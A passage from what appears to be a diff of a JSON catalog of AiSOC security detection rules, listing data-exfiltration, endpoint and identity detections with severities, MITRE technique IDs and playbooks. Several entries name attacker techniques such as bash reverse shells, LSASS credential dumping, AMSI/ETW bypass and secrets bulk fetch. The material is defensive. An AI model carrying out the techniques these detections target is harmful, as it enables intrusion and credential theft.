"log_source": "azure",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/bulk-msg-export-mail.yaml"+ },+ {+ "id": "det-data-exfil-016",+ "type": "detection",+ "name": "Inbox Rule Forwarding to External Address",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Inbox Rule Forwarding to External Address'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1114.003"+ ],+ "log_source": "azure",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/exchange-mail-forward-external.yaml"+ },+ {+ "id": "det-data-exfil-017",+ "type": "detection",+ "name": "Backup Export to Non-Allowlisted Destination",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Backup Export to Non-Allowlisted Destination'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567"+ ],+ "log_source": "cloud",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/backup-export-anomalous.yaml"+ },+ {+ "id": "det-data-exfil-018",+ "type": "detection",+ "name": "Container Image Mass Export to External Registry",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Container Image Mass Export to External Registry'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567"+ ],+ "log_source": "cloud",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/container-mass-image-export.yaml"+ },+ {+ "id": "det-data-exfil-019",+ "type": "detection",+ "name": "VPN Tunnel Large Download from Foreign Country",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'VPN Tunnel Large Download from Foreign Country'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1041"+ ],+ "log_source": "vpn",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/vpn-large-download-foreign.yaml"+ },+ {+ "id": "det-data-exfil-020",+ "type": "detection",+ "name": "Secrets Manager Bulk Fetch by Human Principal",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Secrets Manager Bulk Fetch by Human Principal'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1555",+ "T1530"+ ],+ "log_source": "cloud",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/secrets-mass-fetch.yaml"+ },+ {+ "id": "det-endpoint-001",+ "type": "detection",+ "name": "LOLBAS Binary Used for Download or Execution",+ "description": "Detects living-off-the-land binaries (LOLBAS) being used to download payloads or execute remote code. These binaries are commonly abused by attackers because they are signed by Microsoft and bypass simple application whitelisting.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1218"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/lolbas-execution.yaml"+ },+ {+ "id": "det-endpoint-002",+ "type": "detection",+ "name": "LSASS Memory Read by Untrusted Process",+ "description": "Detects when a process reads LSASS memory with access masks consistent with credential extraction (Mimikatz-style). LSASS holds plaintext password hashes and Kerberos tickets in memory; access from anything other than allowlisted security software is a strong compromise indicator.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1003.001"+ ],+ "log_source": "edr",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/credential-dumping-lsass.yaml"+ },+ {+ "id": "det-endpoint-003",+ "type": "detection",+ "name": "Mass File Extension Rename Indicative of Ransomware",+ "description": "Detects bulk file rename operations where file extensions are changed to novel patterns within a short time window. This is a high-fidelity indicator of ransomware encryption activity.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1486"+ ],+ "log_source": "edr",+ "playbook": "tpl-ransomware",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/ransomware-file-extension-change.yaml"+ },+ {+ "id": "det-endpoint-004",+ "type": "detection",+ "name": "Office Application Spawns Shell or Scripting Engine",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Office Application Spawns Shell or Scripting Engine'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1059",+ "T1204.002"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/office-spawn-shell.yaml"+ },+ {+ "id": "det-endpoint-005",+ "type": "detection",+ "name": "PowerShell with Encoded Command and Bypass Flag",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'PowerShell with Encoded Command and Bypass Flag'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1059.001",+ "T1027"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/powershell-encoded-command.yaml"+ },+ {+ "id": "det-endpoint-006",+ "type": "detection",+ "name": "Process Created via WMI by Non-Admin Tool",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Process Created via WMI by Non-Admin Tool'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1047"+ ],+ "log_source": "edr",+ "playbook": "tpl-lateral-movement",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/wmi-process-creation.yaml"+ },+ {+ "id": "det-endpoint-007",+ "type": "detection",+ "name": "Scheduled Task Created Pointing to Suspicious Path",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Scheduled Task Created Pointing to Suspicious Path'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1053.005"+ ],+ "log_source": "edr",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/scheduled-task-create-suspicious.yaml"+ },+ {+ "id": "det-endpoint-008",+ "type": "detection",+ "name": "Persistence via Registry Run Key Write",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Persistence via Registry Run Key Write'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1547.001"+ ],+ "log_source": "edr",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/registry-runkey-write.yaml"+ },+ {+ "id": "det-endpoint-009",+ "type": "detection",+ "name": "New Service Installed with Suspicious Binary Path",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'New Service Installed with Suspicious Binary Path'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1543.003"+ ],+ "log_source": "windows",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/service-install-binary-suspicious.yaml"+ },+ {+ "id": "det-endpoint-010",+ "type": "detection",+ "name": "Binary Written to ADMIN$ via SMB",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Binary Written to ADMIN$ via SMB'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1021.002"+ ],+ "log_source": "edr",+ "playbook": "tpl-lateral-movement",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/psexec-style-binary-write-admin-share.yaml"+ },+ {+ "id": "det-endpoint-011",+ "type": "detection",+ "name": "EDR / AV Service Stopped or Unloaded",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'EDR / AV Service Stopped or Unloaded'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1562.001"+ ],+ "log_source": "edr",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/edr-unload-attempt.yaml"+ },+ {+ "id": "det-endpoint-012",+ "type": "detection",+ "name": "Volume Shadow Copies Deleted",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Volume Shadow Copies Deleted'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1490"+ ],+ "log_source": "edr",+ "playbook": "tpl-ransomware",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/shadow-copy-deletion.yaml"+ },+ {+ "id": "det-endpoint-013",+ "type": "detection",+ "name": "Windows Event Log Cleared",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Windows Event Log Cleared'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1070.001"+ ],+ "log_source": "windows",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/windows-event-log-cleared.yaml"+ },+ {+ "id": "det-endpoint-014",+ "type": "detection",+ "name": "Host Firewall Disabled",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Host Firewall Disabled'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1562.004"+ ],+ "log_source": "edr",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/firewall-disabled-host.yaml"+ },+ {+ "id": "det-endpoint-015",+ "type": "detection",+ "name": "Cross-Process Remote Thread Injection",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Cross-Process Remote Thread Injection'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1055"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/process-injection-cross-process-thread.yaml"+ },+ {+ "id": "det-endpoint-016",+ "type": "detection",+ "name": "AMSI Bypass via DLL or Reflective Patch",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'AMSI Bypass via DLL or Reflective Patch'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1562.001"+ ],+ "log_source": "edr",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/amsi-bypass.yaml"+ },+ {+ "id": "det-endpoint-017",+ "type": "detection",+ "name": "ETW Tampering / Logging Disable",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'ETW Tampering / Logging Disable'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1562.006"+ ],+ "log_source": "edr",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/etw-tampering.yaml"+ },+ {+ "id": "det-endpoint-018",+ "type": "detection",+ "name": "Hosts File Modified",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Hosts File Modified'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "endpoint",+ "mitre_techniques": [+ "T1565.001"+ ],+ "log_source": "edr",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/host-files-modified.yaml"+ },+ {+ "id": "det-endpoint-019",+ "type": "detection",+ "name": "DLL Loaded with Invalid or Untrusted Signature",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'DLL Loaded with Invalid or Untrusted Signature'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "endpoint",+ "mitre_techniques": [+ "T1574.002"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/image-load-suspicious-signing.yaml"+ },+ {+ "id": "det-endpoint-020",+ "type": "detection",+ "name": "DLL Loaded From Network Share",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'DLL Loaded From Network Share'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1574.002"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/remote-image-load-from-share.yaml"+ },+ {+ "id": "det-endpoint-021",+ "type": "detection",+ "name": "SUID/SGID Binary Created",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'SUID/SGID Binary Created'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1548.001"+ ],+ "log_source": "linux",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/suid-binary-creation.yaml"+ },+ {+ "id": "det-endpoint-022",+ "type": "detection",+ "name": "Kernel Module Loaded from Non-Standard Path",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Kernel Module Loaded from Non-Standard Path'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1547.006"+ ],+ "log_source": "linux",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/kernel-module-load-suspicious.yaml"+ },+ {+ "id": "det-endpoint-023",+ "type": "detection",+ "name": "Cron Job Created Pointing to /tmp or /dev/shm",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Cron Job Created Pointing to /tmp or /dev/shm'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1053.003"+ ],+ "log_source": "linux",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/cronjob-suspicious-path.yaml"+ },+ {+ "id": "det-endpoint-024",+ "type": "detection",+ "name": "Shell Spawned by Web Server Process",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Shell Spawned by Web Server Process'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1059.004",+ "T1505.003"+ ],+ "log_source": "linux",+ "playbook": "tpl-webshell",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/shell-from-web-server.yaml"+ },+ {+ "id": "det-endpoint-025",+ "type": "detection",+ "name": "Reverse Shell Pattern from /bin/bash",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Reverse Shell Pattern from /bin/bash'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1059.004"+ ],+ "log_source": "linux",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/reverse-shell-bash.yaml"+ },+ {+ "id": "det-endpoint-026",+ "type": "detection",+ "name": "Unix User Added with Login Shell",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Unix User Added with Login Shell'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1136.001"+ ],+ "log_source": "linux",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/user-add-suspicious.yaml"+ },+ {+ "id": "det-endpoint-027",+ "type": "detection",+ "name": "SSH authorized_keys File Modified",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'SSH authorized_keys File Modified'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1098.004"+ ],+ "log_source": "linux",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/ssh-key-added-authorized.yaml"+ },+ {+ "id": "det-endpoint-028",+ "type": "detection",+ "name": "Container Launched with --privileged Flag",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Container Launched with --privileged Flag'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1611"+ ],+ "log_source": "linux",+ "playbook": "tpl-container-escape",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/container-privileged-launch.yaml"+ },+ {+ "id": "det-endpoint-029",+ "type": "detection",+ "name": "Container Mounts Host Filesystem at /host",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Container Mounts Host Filesystem at /host'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1611"+ ],+ "log_source": "kubernetes",+ "playbook": "tpl-container-escape",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/container-mount-host-fs.yaml"+ },+ {+ "id": "det-endpoint-030",+ "type": "detection",+ "name": "kubectl exec Into Production Namespace by Non-Operator",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'kubectl exec Into Production Namespace by Non-Operator'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1609"+ ],+ "log_source": "kubernetes",+ "playbook": "tpl-cloud-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/kube-exec-into-prod-pod.yaml"+ },+ {+ "id": "det-endpoint-031",+ "type": "detection",+ "name": "macOS LaunchAgent or LaunchDaemon Plist Created",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'macOS LaunchAgent or LaunchDaemon Plist Created'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1543.001",+ "T1543.004"+ ],+ "log_source": "macos",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/macos-launchagent-write.yaml"+ },+ {+ "id": "det-endpoint-032",+ "type": "detection",+ "name": "macOS TCC Bypass Pattern (Direct DB Write)",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'macOS TCC Bypass Pattern (Direct DB Write)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1556.006"+ ],+ "log_source": "macos",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/macos-tcc-bypass-attempt.yaml"+ },+ {+ "id": "det-endpoint-033",+ "type": "detection",+ "name": "Suspicious AppleScript Execution via osascript",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Suspicious AppleScript Execution via osascript'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1059.002"+ ],+ "log_source": "macos",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/macos-osascript-spawn.yaml"+ },+ {+ "id": "det-endpoint-034",+ "type": "detection",+ "name": "macOS Gatekeeper Disabled",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'macOS Gatekeeper Disabled'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1553.001"+ ],+ "log_source": "macos",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/macos-gatekeeper-disabled.yaml"+ },+ {+ "id": "det-endpoint-035",+ "type": "detection",+ "name": "macOS Quarantine Attribute Stripped",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'macOS Quarantine Attribute Stripped'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "endpoint",+ "mitre_techniques": [+ "T1553.001"+ ],+ "log_source": "macos",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/macos-codesign-bypass.yaml"+ },+ {+ "id": "det-endpoint-036",+ "type": "detection",+ "name": "Browser Extension Installed Outside Allowlist",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Browser Extension Installed Outside Allowlist'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "endpoint",+ "mitre_techniques": [+ "T1176"+ ],+ "log_source": "edr",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/browser-extension-installed-suspicious.yaml"+ },+ {+ "id": "det-endpoint-037",+ "type": "detection",+ "name": "USB Mass-Storage Device Attached to Restricted Host",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'USB Mass-Storage Device Attached to Restricted Host'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1052.001"+ ],+ "log_source": "edr",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/usb-device-mass-storage-attached.yaml"+ },+ {+ "id": "det-endpoint-038",+ "type": "detection",+ "name": "Remote Management Tool Installed Outside Allowlist",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Remote Management Tool Installed Outside Allowlist'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1219"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/rmm-tool-install.yaml"+ },+ {+ "id": "det-endpoint-039",+ "type": "detection",+ "name": "Driver Signed by Microsoft Loaded with Vulnerable Hash (BYOVD)",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Driver Signed by Microsoft Loaded with Vulnerable Hash (BYOVD)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1068"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/drivers-loaded-suspicious.yaml"+ },+ {+ "id": "det-endpoint-040",+ "type": "detection",+ "name": "Screen-Capture Tool Use on Sensitive Workstation",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Screen-Capture Tool Use on Sensitive Workstation'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "endpoint",+ "mitre_techniques": [+ "T1113"+ ],+ "log_source": "edr",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/screen-capture-tool.yaml"+ },+ {+ "id": "det-identity-001",+ "type": "detection",+ "name": "Authentication Brute-Force Burst",+ "description": "Detects high-frequency failed authentication attempts against a single account, which is a classic indicator of credential-stuffing or password-spraying attempts. Threshold is intentionally conservative to reduce noise.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1110.001"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/brute-force-login.yaml"+ },+ {+ "id": "det-identity-002",+ "type": "detection",+ "name": "Impossible Travel Between Two Authentications",+ "description": "Detects two successful authentication events for the same user from geographically distant locations within a time window that would require travel speeds exceeding 800 km/h. Strong indicator of compromised credentials being shared between attacker and legitimate user.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/impossible-travel.yaml"+ },+ {+ "id": "det-identity-003",+ "type": "detection",+ "name": "Password Spray Across Many Users from Single IP",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Password Spray Across Many Users from Single IP'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1110.003"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/password-spray.yaml"+ },+ {+ "id": "det-identity-004",+ "type": "detection",+ "name": "Login from Tor / Anonymous Proxy",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Login from Tor / Anonymous Proxy'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/login-anonymous-ip.yaml"+ },+ {+ "id": "det-identity-005",+ "type": "detection",+ "name": "Privileged Login Outside Business Hours",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Privileged Login Outside Business Hours'. Watch the 2 documented false-positive cases before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/login-outside-business-hours.yaml"+ },+ {+ "id": "det-identity-006",+ "type": "detection",+ "name": "Login from Country Outside Allowed Geography",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Login from Country Outside Allowed Geography'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/login-from-foreign-country.yaml"+ },+ {+ "id": "det-identity-007",+ "type": "detection",+ "name": "Authentication Attempt Against Disabled Account",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 